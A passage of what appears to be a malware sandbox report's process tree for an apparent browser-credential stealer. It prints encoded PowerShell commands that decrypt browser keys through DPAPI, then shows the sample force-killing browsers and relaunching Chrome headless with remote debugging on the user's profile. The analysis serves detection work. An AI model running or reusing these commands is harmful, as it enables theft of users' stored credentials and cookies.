JAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5504
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "python --version"
          2⤵
            PID:892
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
            2⤵
              PID:1780
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
              2⤵
                PID:4376
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:804
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5116
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3240
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3484
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2328
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5628
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2440
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM chrome.exe
                  3⤵
                  • Kills process with taskkill
                  PID:2120
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5288
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM msedge.exe
                  3⤵
                  • Kills process with taskkill
                  PID:1368
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4724
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM brave.exe
                  3⤵
                  • Kills process with taskkill
                  PID:4776
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9537 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                2⤵
                • Uses browser remote debugging
                • Drops file in Windows directory
                • Enumerates system info in registry
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:4492
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb530ec728,0x7ffb530ec734,0x7ffb530ec740
                  3⤵
                    PID:4732
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1796 /prefetch:2
                    3⤵
                      PID:2860
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
